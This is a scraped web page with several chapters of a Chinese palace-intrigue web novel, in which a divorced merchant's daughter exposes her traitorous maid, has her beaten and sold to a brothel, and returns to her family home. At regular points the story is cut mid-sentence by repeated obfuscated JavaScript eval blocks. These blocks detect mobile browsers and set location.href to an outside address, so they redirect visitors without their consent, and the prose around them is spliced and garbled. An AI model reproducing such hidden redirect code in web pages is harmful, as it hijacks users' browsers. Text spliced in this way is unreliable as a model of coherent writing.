;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017299|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便知她又起了不该起的心思,如今她已经不想管她了,她们二人的主仆情分,早在她第二次背叛时便荡然无存,若是日后秋容肯收敛一点,她会念在往日情分给她一条生路。 可若是她仍旧执迷不悟,要做损害她之事……顾皎皎冷笑,那结果如何都是她自找的,怨不得任何人。 继续用余光打量孙老夫人几人的身影,见距离差不多了,秋容忙从柱子后边走出。 站到合适的距离,她看着顾皎皎不可置信道:“姑娘,您这是做什么?就算您不甘寂寞与姑爷和离了,也不能不讲良心做出这般损害安阳侯府脸面一事啊!” 秋容面容义愤填膺,不知道的还真以为顾皎皎做了什么对不起安阳侯府之事。 见状,围观人群纷纷侧目,事情似乎另有转机。 有人打量秋容一番后道:“咦,此人好像是随顾夫人从顾府嫁到安阳侯府时带的陪嫁丫鬟,关系十分亲厚,不过方才她那话是什么意思?难道最近安阳侯府的风波,许多都是顾夫人杜撰引起的?” 因着秋容一句话,原本议论安阳侯府之人纷纷将话头转到了顾皎皎身上。 孙老夫人在暗处瞧着松了口气,这秋容总算有了丁点作用 ,还算没有看错她。 如今情况于安阳侯府有益,正当她准备趁热打铁时,顾皎皎说话了。 “我不讲良心?”顾皎皎看着秋容,眸色冰冷:“人人都知你是我的陪嫁丫鬟,最是忠心,我且问你,你听到这话良心可过得去?” 秋容眸光闪烁:“姑娘,奴婢不知您在说什么,奴婢本就对你忠心耿耿。” “是吗?” 纵然已经接受了秋容的背叛,可心中到底还是会失望,她瞧着秋容笑了笑,冰冷至极:“不错,你是忠心,不过你忠心的对象不是我,而是安阳侯府的老夫人罢了!” 闻言,孙老夫人与秋容双双变了脸色,秋容下意识想要辩驳,顾皎皎又哪里肯给她这个机会? 第八十五章 心机深沉 顾皎皎紧紧盯着秋容的眼睛,将她眸中慌乱尽收眼底,数秒后,她深吸一口气道:“你休要狡辩,想来我只需说出寒奉寺三字,你便知晓了我是何时察觉到你的背叛的。” 寒奉寺! 秋容与藏在角落中的孙老夫人听见这三个字顿时瞪大了眼,怎么可能,顾皎皎怎会知晓寒奉寺一事,明明她们做得十分隐蔽……况且那日所谋之事也并未成功,她怎会有所察觉? 孙老夫人心乱如麻,万千思绪在脑海中闪过,宋嬷嬷的堂侄子自寒奉寺后便莫名失踪,直至今日也是生不见人,死不见尸,原先她与宋嬷嬷只当宋嬷嬷的堂侄子吃醉了酒,死在了哪个青楼妓子身上,如今看来未必。 难道是顾皎皎发现了那人,所以干脆一不做二不休毁尸灭迹? 孙老夫人心情沉重了不少,看向顾皎皎的眼神没了从前的轻蔑,取而代之的是忌惮,能这般悄无声息将人杀死,她背后定有靠山。 如此,顾皎皎从寒奉寺回来之后的诸多反常便也解释得通了,因为发现了自己的计划,所以她步步为营只为报复安阳侯府,今日的一切,都是她一早便谋划好的…… 顾皎皎此人,原是这般心机深沉? 孙老夫人越想越心惊,无知无觉中,额角竟渗出冷汗。 刘氏咦了一声:“母亲,今儿天气凉爽,您怎的还出了汗?可是身体哪里不适?” 她无力摇头:“无事,许是虚汗。” 刘氏:“无事便好,母亲,如今顾皎皎正在府门口装车,咱们现在可要过去阻拦她?若是慢一些,她可就要带着东西走了,到时候咱们安阳侯府可是损失惨重啊!” “不急。”孙老夫人听着刘氏的话,只觉聒噪,她将额角汗水擦净后,才有些不耐道:“且再看看情况,这么冲动做什么?” 刘氏与章氏闻言皆不情愿极了,可到底不敢忤逆孙老夫人,只能唯唯诺诺应下:“是,母亲,还是您思虑周全。” 秋容闻言心底越发慌乱,她有些不知所措,便回眸看了孙老夫人一眼,见她面无表情看着别处,只能硬着头皮道:“姑娘,奴婢不知您在说什么,奴婢跟了您这么多年,您怎能这般冤枉我?” 话出了口,秋容从容了些许,既然决定了日后跟着老夫人,那便不能再将顾皎皎当成主子。 她不动声色打量着周边人神色,见他们对顾皎皎之言保持怀疑态度,松了口气。 秋容想了想近日之事,片刻后,她哭得梨花带雨:“姑娘,放着这么多人,奴婢不得不说句公道话了,虽然您嫁入安阳侯府时,姑爷确实因为游学不得已离府两年,可这两年老夫人待您如亲生女儿一般,就连大夫人与二夫人也将您当成亲妹妹看待……” “反倒是您……一直未有身孕,如此便罢了,府中也无人说什么,可如今姑娘您倒是先倒打一耙,冤枉姑爷与老夫人便罢了,眼见和离在即,还做出这等事儿来丢安阳侯府的脸……” 秋容面上带着义愤填膺之色,越说情绪愈发激动:“姑娘,你忘记老爷临走之前的嘱托了吗?人活一世,得有良心!” 语毕,她闭了嘴,以她对自家姑娘的了解,提到去世的老爷,姑娘必定妥协。 顾皎皎面色没什么太大的波动,她垂眸静静听完秋容的‘肺腑之言’,见她提到去世的父亲,她面容冷了几分。 她自然知晓秋容此刻提到父亲是用了些小心机的,若是换做从前,她或许会像秋容想的那般妥协,可秋容并不知晓,如今站在她面前的顾皎皎早已不是从前的顾皎皎,如今提到去世的父亲,非但不能令她妥协,且得做好承担她怒火的准备! 秋容一番话彻底将顾皎皎与安阳侯府的处境扭转,围观人群皆指着顾皎皎窃窃私语。 “我就说嘛,安阳侯府好歹是侯府,况且如今安阳侯府尚有人在仕,侯府三爷又与极有可能成为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017300|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一任太子的小云南王交好,怎会如顾夫人口中所讲这般不堪?” “就是,顾夫人说起来出身商贾,不过空有些钱财罢了,怎么可能会讲侯府拿捏至此,想来也是侯府念她一介孤女,不忍与她一般见识罢了。” “笑死,见过恩将仇报的,从未见过将恩将仇报之事做尽,却偏偏要将自己伪装成受害者的,为了落安阳侯府的面子,这顾皎皎可是什么事情都做得出,不得不说,安阳侯府之人真是心善,若是换做我,早便一纸状书将这贱妇送上衙门!” 人们越说越激愤,看着顾皎皎的神色也越来越鄙夷,更有甚者,自发拦到了回顾府的必经之路上,不让顾皎皎带着东西离开。 莺儿都快急哭了,她拉着顾皎皎的衣袖不知所措:“姑娘,秋容她胡说,她怎能将事情做得这般绝?姑娘,如今可怎么办啊,当真便由着他们损害您的名声了吗?” 见事情出现转折,角落处的孙老夫人与章氏、刘氏三人皆有些得意。 想来顾皎皎未曾料到,身边最亲近之人会给她最致命的一击吧?如今事情已成定局,她已无力回转,只能认命了。 孙老夫人心中忌惮消失殆尽,她拍了拍衣袖上本不存在的灰尘,挺直了腰杆正准备去到府门前,却正好与顾皎皎的眼神撞上。 孙 老夫人顿住,脚上步子停了下来。 看顾皎皎的眼神,其中似乎并无慌乱,难道她还留着后手? 她将将这般想完,便见顾皎皎朝着秋容笑了笑,那抹笑容不达眼底,且带着瘆人的冷意:“秋容,你可知我朝律法,若是有身契的奴仆出言诋毁主子,应当如何?” 秋容慌张一瞬,她自然是不知晓的,姑娘忽然提到此事,她才想起自己的身契尚在姑娘手中,登时对方才所言有些后悔。 可话已出口,再无转圜的余地,她既然选择了老夫人,便也只能继续一条路走到黑! 第八十六章 她如何处置 秋容故作镇定道:“姑娘,奴婢说的句句属实,怎会有诋毁主子这一说?” 顾皎皎勾唇:“看来你十分嘴硬啊?” 秋容硬着头皮:“姑娘,奴婢没有嘴硬,您不必为了洗清自己便这般冤枉奴婢。” “好,很好,但愿你能一直这般。”顾皎皎拍了拍手,几名手中拿着板子的小厮站到了她身后:“秋容,那便看是你的嘴更硬,还是板子更硬了。” 秋容大惊失色:“姑娘,您这是要屈打成招吗” 她拔腿便要跑,顾皎皎哪里会给她这个机会,一挥手,身后健壮的小厮便上前将人拉住按倒在地。 秋容以极其狼狈的姿态趴在地上,小厮也无一丝怜香惜玉之情,直接一脚踩在她背上。 秋容吃痛不已,当即尖叫了一声:“啊,好疼!” 秋容从未料到姑娘竟会对自己动手,如今才后知后觉害怕起来,她吃力昂起头,对着顾皎皎讨好一笑:“姑娘,奴婢到底跟了您这么多年,您不会这般对奴婢的对不对,您只是在吓奴婢对不对?” 顾皎皎似笑非笑看着她:“原来你也知你跟了我许多年。” 小厮:“姑娘,她如何处置?” 顾皎皎看了莺儿一眼,莺儿立马埋头在身上挂着的包袱中翻找起来。 秋容看着那包袱瞳孔缩了缩,这不是方才在皎月阁时,那名小厮身上背的包袱吗?莺儿在里面找什么?难道里面有什么东西是与她有关的? 她思绪刚停,便见莺儿从包袱中拿出一张微微泛黄的纸张,似乎是身契。 秋容心沉到了谷底,那不会是她的身契吧? 怕什么来什么,顾皎皎接过身契,她缓步至秋容面前站定,将身契递给带头的那名小厮:“这是她的身契,你们收拾她一顿后,便将她发卖了吧。” 顾皎皎垂眸想了想:“似乎城西的莲香楼是个好去处……” 莲香楼! 秋容这下是真的害怕了,泪水真切的从眸中淌了下来,她不管不顾抓住顾皎皎的绣花鞋:“姑娘,方才都是奴婢胡言乱语的,奴婢已经知错了,您不要将我发卖到莲香楼去,奴婢求您了……只要您不发卖奴婢,日后奴婢为您做牛做马都愿意!姑娘,求您不要这般绝情……” 莲花楼是什么地方,是最低等的销魂窟,所接待的客人都是奸恶之辈,甚至牢狱中若是有犯人提出请求,也是可以去销魂窟的……若她真被卖去销魂窟,怕是命不久矣…… “想要替我做牛做马之人多了去了,我为何不选择旁人,要选择你这样一个背弃旧主之人?” 顾皎皎居高临下看着涕泗横流的秋容,眼眸冰冷:“秋容,我朝例律便是背主、构陷主子着,可发卖,你不能怪我绝情,要怪只能怪你自己不会择主,你要忠,也该忠于手握你卖身契之人才是。” “罢了,时至今日多说无益,去了莲花楼且好好表现吧,若是得遇良人,将你赎走也是你的造化,届时你便是那人正儿八经的嫡妻,也可掌管家事,也算了圆了你这么多年的一个念想了。” 说完,顾皎皎直接转身离开。 秋容这下是真的绝望了,原来姑娘一直都知道她的野心……姑娘这次也是铁了心的要她死! 去了莲花楼,哪里还有什么良人?不被玩死便是命大。 得到命令,小厮将秋容的卖身契揣进怀里,几人手中的板子一下又一下重重打在秋容的脊背上。 惨叫声此起彼伏,秋容口中吐出了鲜血,疼痛已经使她的意识模糊。 不,她不能就这样去莲花楼,她得自救! 她还有老夫人不是吗?只要老夫人愿意保自己,出钱买下这张卖身契,那她便能逃脱被卖到莲花楼的命运! 秋容将视线投到孙老夫人身上,用尽全身力气道:“老夫人,救救奴婢,奴婢不想被发卖到莲花楼……” 孙老夫人与秋容对上视线,目光触及她血淋淋的身体时,眸中快速划过一抹嫌弃,她当然可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017301|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救秋容,可是如今秋容已经是一枚弃子,她又何必浪费银钱买下她?说难听些,银子留在手中尚且有用,秋容未必。 秋容见孙老夫人这模样,也猜到了她所思所想,她害怕极了,忙道:“老夫人,奴婢知晓顾皎皎的许多事,奴婢是这个世界上最了解她的人,只要您愿意救下奴婢,奴婢一定能帮您对付顾皎皎的!” 围观众人循着秋容的视线找到了躲在角落处的孙老夫人与章氏、刘氏几人。 “咦,侯府老夫人怎会在此?方才竟未曾发现?” 自己的行踪暴露,孙老夫人对秋容诸多埋怨,真是和她主子一样惹人厌烦,眼见着要死了,死之前还得给她添堵! 片刻后,老夫人当着众人的面大声道:“秋容,不是我不愿救你,只是今日你是你的主子发卖的,我又怎好插手?况且听着方才皎皎的意思,你是背叛了她,你这般背主的奴婢,我是不敢用的……” 这下秋容傻眼了,孙老夫人这是直接将她舍弃了? 身上的疼痛感越发重,秋容心中的戾气也升了起来,她恶狠狠看向孙老夫人:“你这个老虔婆竟过河拆桥?说什么背主的奴婢你不敢用,难道当初不是你用银钱与妾 室的身份收买我的?” 孙老夫人倒吸一口凉气:“你这贱婢,休要胡说!” “哈哈哈,贱婢!”秋容癫狂大笑:“老夫人,需要我时,你可是叫我好秋容啊,怎么如今便骂我贱婢了?” “难道我哪句话说错了吗?当初你指使姑娘去寒奉寺上香,便是用诸多法子收买奴婢,要奴婢在姑娘的茶水中……” 秋容话未说完,便突兀的晕了过去。 孙老夫人见状松了口气,幸好,幸好!若真让这贱婢将什么都吐出,她还真不晓得该如何圆话。 秋容已经晕了,再继续打下去也无任何意义,小厮拱手请示:“姑娘,现在如何处置她?” 顾皎皎本是若有所思打量周围,闻言,她回过神来。 第八十七章 是敌是友? 顾皎皎看了一眼昏迷不醒的秋容,眸中无一丝感情波动,数秒后,她冷漠道:“还问我做什么?这点小事儿还需问我么?将她泼醒,发卖到莲香楼去,至于发卖她的银钱,你们且拿去喝酒罢。” “是,姑娘,多谢姑娘赏赐。”小厮应声而动。 处理完秋容之事,顾皎皎继续警惕打量四周,若是方才她未看错的话,秋容昏迷之前曾有一粒十分小的石子儿弹向她的太阳穴。 想来那颗石子儿便是秋容昏迷的关键,丢出这颗石子儿的人会是谁,在如今这般情况下将秋容砸晕,那人的目的仅仅是想阻止秋容说出寒奉寺一事? 这人究竟是敌是友?数秒后,一个模糊的人影出现在脑海中,顾皎皎笑了笑,觉得不可能,转瞬将他抛诸脑后。 哗啦啦,小厮端了一大盆水泼在秋容身上,秋容瑟缩了一下,浑身凉意冷得她打颤,她惊呼一声坐起身来:“啊,好凉!” 小厮见秋容醒了,也未曾与她说话,只面无表情将她架起。 “你们想要做什么?还不快放开我!你知道我是谁吗?!”秋容的脚死命蹬在地上,不肯挪动分毫,身体也不停扭动着,意图摆脱桎梏。 但她一个女子的力气如何与两个男子抗衡,纵然使出全部力气也徒劳无功。 小厮道:“别白费力气了,我们都是姑娘精挑细选出来的,但凭你长了翅膀也无法从我们手中逃脱。” 秋容歇斯底里:“我管你们是不是精挑细选的,快把我放开,我可是姑娘身边的陪嫁丫鬟,若是让姑娘知道你们这般对我,定然不会放过你们!” 闻言,一小厮轻蔑看向秋容,嘲讽道:“你莫不是昏迷一下后,脑子变傻了?你背叛了姑娘,便是姑娘下令将你发卖的,还希望姑娘为你出头?做什么春秋大梦呢?” “不会!姑娘不会这般对我!她只是吓吓我罢了……”秋容哭着摇头,她当然知晓是顾皎皎下令要将她发卖,可如今孙老夫人不愿意管她,为了不去莲香楼那等地方,她只能装疯卖傻博取顾皎皎的同情。 若是顾皎皎动了恻隐之心,那她便可得救。 想到这儿,秋容满怀希冀的看向之前顾皎皎站的地方,怎料那处却空空如也。 秋容愣住,她呢喃道:“怎么会,明明姑娘方才还在此处,现在怎会不见了?” 在她愣神的功夫,两名小厮直接架着她离开了安阳侯府往莲香楼方向过去,唯一的希望破灭,秋容心如死灰,内心的恐惧扑面而来,瞧着越来越近的莲香楼,秋容终是不愿就此妥协,她尖声哭喊:“你们不能就这样将我发卖了!我还未见姑娘最后一面!” 秋容口中一直重复这段话,然而两名小厮去恍若未闻。 直到秋容的背影消失,顾皎皎与莺儿才从圆柱后边出来。 莺儿瞧着莲香楼方向:“姑娘,看方才秋容的神色,她似乎还有话想说。” “嗯。”她轻应一声:“应当是求饶的话吧,不听也罢。” 语毕,主仆二人皆默契地没再提秋容,全当生命中从未出现过这个人。 “姑娘,东西已经全部装好了,可要站在出发?” 顾皎皎点头表示知道了,而后她淡然的眸光直直看向角落处的孙老夫人:“老夫人,我的东西,我应当可以拉走了吧?毕竟今后我与安阳侯府再无瓜葛,我的东西应当也没有留在安阳侯府这个规律,且,若是新妇进门,瞧见若有东西都与我有关联,怕是心中会不高兴,难免引起不必要的麻烦。” 此言一出,现场立马安静下来,不少人都竖起耳朵听孙老夫人的答复,今日安阳侯府与顾皎皎一事转折太过,所有人都对事情的真相十分好奇。 孙老夫人顿住,不悦道:“你问我作甚?” 顾皎皎笑了笑:“方才老夫人的人在大庭广众下说了不实之言,不少不知真相之人自然信以为真,为了我往后的名声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017302|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我也不得不委屈些,即便是带回自己的东西,也得问问您的意见才是。” “什么叫我的人?秋容分明是你的陪嫁丫鬟。”孙老夫人皱眉否认:“卖身契都在你处,你怎可无赖到所有事情都赖在我身上?” 顾皎皎反唇相讥:“真的是诬赖吗?大家可否长了耳朵,分明听见了她说,你用银钱与地位收买她,想来今日这出戏,也是老夫人您编排的吧?” “目的便是为了将我的,说成安阳侯府的。” “你!”孙老夫人有些生气,宋嬷嬷连忙替她顺气:“老夫人,您莫要忘了大夫的叮嘱,千万不能动气啊!” 孙老夫人到底怕死,闻言,她深吸一口气将满腔怒火压下:“顾皎皎,这两年我待你不薄,如今即便你与协兆和离了,你也不能仅凭一张嘴便胡说,败坏我的名声!” “我自然不能仅凭一张嘴便胡说。”说着,顾皎皎看向莺儿,莺儿立马从怀中包袱里拿出几张宣纸。 顾皎皎将宣纸递给孙老夫人,淡然道:“老夫人,我自然不会败坏你的名声,这是我带走的所有东西的清单,您可在与之前我交由你的账簿中对上一对,看我有无多拿一件东西!” 说完,顾皎皎朝着身旁小厮道:“走吧,咱们回顾府,该正的名,想 来也正了。” 刘氏见她要走,心顿时慌乱不已,她焦急道:“母亲,您忘记我们出来之时说得话了吗?怎能就这样放她离开?她人走便也就罢了,东西……” “闭嘴,你不说话没人将你当哑巴!”孙老夫人怒斥,她狠狠瞪了刘氏一眼。 从前她一直瞧不起顾皎皎,如今看来,与这两个儿媳比起来,顾皎皎实在聪明极了。 她们是一丁点形式也不看的,如今顾皎皎清单、账簿都双双奉上,由此旁人便可瞧出,她行得正坐得端,对于今日之事问心无愧,若是现在去拦顾皎皎,明日安阳侯府的名声不知得坏成什么样! 第八十八章 好戏也看够了 罢了,如今事情已成定局,便就这样了。 刘氏垂头颇觉委屈,孙老夫人看着顾皎皎离开的背影,觉得心头空落落的,她眯了眯眼:“回去吧,莫要在此继续丢人现眼浪费时间了。” 说完,她转身回房,并命令安阳侯府的小厮将房门关上。 府外围观众人此刻也大概知晓了事情的真相究竟为何,在此小声议论起来:“方才瞧着孙老夫人那意思,今日顾皎皎带走的竟当真全是她的物件?那方才那丫鬟说的,多半也是不能全部当真了?” “何止是不能全部当真?应当是一丝一毫也信不得吧?若是顾夫人当真有愧,便不敢在大庭广众之下那般处置那丫鬟了……” “……” 议论声逐渐消散,安阳侯府门前聚集之人也相继离开。 “小王爷,如今人群已散,天色也晚了,咱们可要即刻回驿站?”双剑拱手请示负手立于窗前的沈云祉。 “嗯,那就回吧,反正好戏也看够了。” 沈云祉勾唇应了一声,他最后深深看了一眼屹立于黄昏之中的安阳侯府:“从前竟不知,安阳侯府对面有这样一处看好戏的地方。” 双剑也看了一眼,附和道:“小王爷说得是,此处的确能将侯府发生之事尽收眼底。” 沈云祉一挥衣袖转身:“走吧,回了,今后的安阳侯府可比不得从前了。” 顾府距离安阳侯府的距离不算近,待顾皎皎与莺儿带着所有东西回到顾府时,太阳已经落山,只余丁点光亮能够瞧清顾府外的大致情况。 许是年久失修的缘故,顾府看起来十分破败,外墙墙砖脱落了不少,墙体变得分外斑驳。 茂盛的爬墙虎更是爬了满伤,就连门口的石狮与掉色的朱红木门上都全爬满了绿油油的爬山虎。 莺儿:“姑娘,大门都被堵住了,今日天色已晚,若想将府邸收拾出来应当是来不及了,可要奴婢去附近客栈开几间客房?” 顾皎皎点头:“也好,你清点一下人数,务必保证每人今夜都有歇息之地,若是一间客栈不够的话,再去远处订便是。” 说完,她从怀中掏出一袋银子递给莺儿。 “是,姑娘,奴婢这就去办。” 顾皎皎抬眸看着记忆中的府邸,万千情绪涌上心头,幼时与父亲母亲相处的一幕幕似乎还在昨天,可如今父亲母亲已亡,她也已和离,连昔日的家也变得面目全非…… 一小厮见主子似乎十分伤感,他大概知晓了是何缘故,他三两步上前将覆在朱红色木门上的爬山虎悉数拔了下来:“姑娘,这下可以进去了,明日小的再将外边所有的爬山虎都清除掉。” 眼前的大门与记忆中的大门逐渐重合,顾皎皎从记忆中抽身,她看着小厮笑了笑:“多谢,你叫什么名字?” 小厮害羞地挠了挠头:“姑娘,小的名叫若谷。” “若谷。”顾皎皎呢喃了两声:“是个好名字,日后你便跟在我身旁伺候吧。” 若谷闻言欣喜若狂,他忙跪在地上:“多谢姑娘赏识,小的日后必定忠心耿耿,绝不与秋容之流同流合污!” 顾皎皎微微一笑:“莫说这些了,你先组织人将东西搬进去吧,明日再给府中做一个大扫除,需要重新修缮的地方,便着手修缮。” “是,姑娘。” 若谷干活儿利索,有几分才能,没用多久便将一切都布置得井井有条,这边东西还未全部搬进府中,莺儿便回来了。 顾皎皎:“怎样,事情可办妥了?” 莺儿点头:“回姑娘,所有客房都已经订好了,只待这边处理妥当便可过去入住,奴婢已经让小二提前将水烧好,免得待会儿咱们怎么多人沐浴,没那么多水。” “嗯,好。” 众人将所有东西齐力搬进顾府后已经是半夜,因着物件太多了,所有人都累得筋疲力尽,本都是人高马大之人,此刻劳累下来一个个都没什么精神。 顾皎皎将一大袋银子交给莺儿,她朝着众人道:“今日辛苦诸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017303|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位了,待会儿我会让莺儿一人发一两赏银,算是大家今日的辛苦费,待会儿沐浴后都早些休息吧,明日还得受累。” 小厮们本都因劳累兴致不高,听顾皎皎这般说后,一个个都眼眸发亮,他们齐声道谢:“多谢姑娘赏赐!” 一两银子啊,快抵上他们小半月月银了!像他们这种没有稳定活计的小厮,有时候兴许半月也挣不上一两白银! 翌日 许是昨日给了赏银的缘故,第二日一大早,若谷便带着一众小厮早早来到顾府忙碌,待顾皎皎到达顾府之时,昨日还四处乱糟糟的府邸,今日已经变得十分干净,除了有些破败外,丝毫看不出已经两年未住过人。 “你们做得很好。”顾皎皎丝毫不吝啬她的夸赞:“待顾府重新修整过后,若是不嫌弃,你们便都留在顾府当差吧。” “姑娘此话当真?” 顾皎皎笑了笑:“自然当真,如今顾府重新开府,正是缺人的时候,我瞧着你们确实也是干实事儿的人,自然不愿错过你们这样的人才。” 末了,她打趣道:“不用担心,月银我能给得起。” “没有姑娘,我 们从未担心过月银问题……如此那便多谢姑娘了。” 众人赶忙道谢,干起活儿来越发尽心尽力。 顾皎皎打量了一下顾府,她垂眸沉思片刻后道:“府中若是想要住人,怕是得重新修缮一番,莺儿,你且同我回住处,我写一个清单,你带着人去采买回来。” “是,姑娘。” 安阳侯府三爷与三夫人和离一事闹得十分大,京中众说纷纭,褒贬不一。 顾皎皎倒是因此因祸得福,她这段时日在京中名声大噪,不少人佩服她的勇气,也因此带火了她名下商铺的生意。 也不知是谁人将顾皎皎名下的资产透露出来了,她名下成衣铺子、脂粉铺子、珠宝铺子……各个店铺营业额翻了三倍不止,第一楼的生意更是好得惊人,竟比原本的营业额翻了五倍不止! 第八十九章 何至于此 顾皎皎每日最开心的事情,便是晚上看账簿的时候,看着一笔笔的银两入账,心才稍安。 莺儿在一旁看着,心中也高兴,她道:“姑娘,若是老爷在天有灵知晓您将店铺经营得井井有条,他定会十分欣慰。” “是啊,父亲定然会欣慰。”顾皎皎抬眸看向窗外月色,神色怔怔:“父亲与母亲最开始经商时,有时候一日只能挣几十文,后来生意好起来,一个商铺每日也就几十两罢了……” 她叹息一声:“如今我手下的商铺,日收早比当初父亲在时多了数倍不止,父亲在天有灵,确实理性高兴才是,可父亲若是知晓,这是因着我失败的姻缘,才换来这般,他会很难过的吧……” “毕竟,他老人家临死之前都想着如何替我寻一个如意郎君,保我下半辈子平安无虞……” 说着说着,顾皎皎的眼眸便湿润了,她低头拭泪,对父亲的思念之情达到了顶峰:“莺儿,明日陪我去瞧瞧父亲吧,把账簿与和离书也带去给他老人家瞧瞧……” 莺儿眼中满是心疼,她轻轻拍着顾皎皎的后背以示安抚:“好,姑娘,奴婢陪您去,咱们确实也许久未曾去看老爷与夫人了。” 账簿合上,顾皎皎红着眼站起身:“既如此便伺候我梳洗吧,明日早些出发,莫要让人瞧见了才是。” 如今她在京中风头太过,不少人都认得她,若是让人瞧见她去看望父亲、母亲,那父亲、母亲的埋骨地,今后兴许再没了清净。 此等不孝之事,她自然不能做。 安阳侯府 距离顾皎皎与孙协兆和离已经有了些许时日,京中的传闻,孙家自然也是一字不落的都听了个明白。 夜已深,孙老夫人与孙协兆皱眉坐在木椅上,他们皆面色凝重。 孙老夫人看向宋嬷嬷:“你可看仔细了,那几家店铺确实都是顾皎皎的?连第一楼也是?” 宋嬷嬷坚定点头:“是,老夫人。” 纵然宋嬷嬷这般说了,可孙老夫人还是不愿相信,她再次发问:“你可看仔细了?莫要弄错。” “老夫人,奴婢敢保证,奴婢绝对未曾弄错。” 这下子,孙老夫人悬着的心终于死了,她看向孙协兆,语气有些埋怨:“看吧,我就说让你别这么痛快写下和离书,这么大一只肥羊,就这样白白放开了!” 孙协兆阴沉着脸:“母亲,您现在埋怨我又有什么用?当初若不是你私底下搞那么多小动作,何至于逼得顾皎皎狗急跳墙?” “你倒还怨上我了?”孙老夫人气急:“若不是你说徐青青身份如何了得,咱们不能亏待了她,我又怎会心急?说起来这事儿大部分错处都在你身上。” 母子二人互相推诿责任,宋嬷嬷看不下去了,她替二人倒了一杯茶水,小心翼翼道:“老夫人与三爷又何必因着此事起口舌呢?如今三爷与顾皎皎已然和离,追究是谁的错也无用,与其追究错处浪费时间,不若将心思都花在徐青青身上……” 二人闻言才停止了掰扯,孙协兆心情好了些,他笑着道:“是啊母亲,如今平王虽然未曾当着所有人承认青青的身份,可是此事京中人都心照不宣,日后青青嫁到咱们安阳侯府,平王自然也得给青青出一份嫁妆……” 想到什么,孙协兆灿然一笑:“况且如今平王妃无所出,青青乃是平王唯一的血脉,没有那个父亲愿意眼睁睁看着女儿受苦,是以,儿子敢保证,儿子与青青成婚后,平王定会扶持儿子!” 闻言,孙老夫人面色好看了不少,她冷哼一声:“但愿你说的都能实现,你且看看咱们侯府,被顾皎皎那贱人破坏成什么样子了?若是不请人修缮一番,实在是难以入住!” “母亲放心,儿子自会找人修缮,只是……” “只是什么?” 孙协兆:“母亲处可还有多余的银钱?修缮府中何处都需要银钱,儿子手中不太够,您放心,待青青嫁入咱们侯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017304|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府,我定然会取了嫁妆来还您。” 许是怕孙老夫人不答应,他又道:“总之,青青再怎么也是郡主,迎娶郡主,咱们侯府总不能抠抠搜搜的吧?否则继顾皎皎和离一事后,安阳侯府又得成为一个笑话……” 最后一句话说到了孙老夫人的心坎上,安阳侯府怎能不顾颜面?可她手中也没有银钱。 孙老夫人:“理是这个理,可我的银子,早在赏花宴时便花光了,如今哪里有银两?” 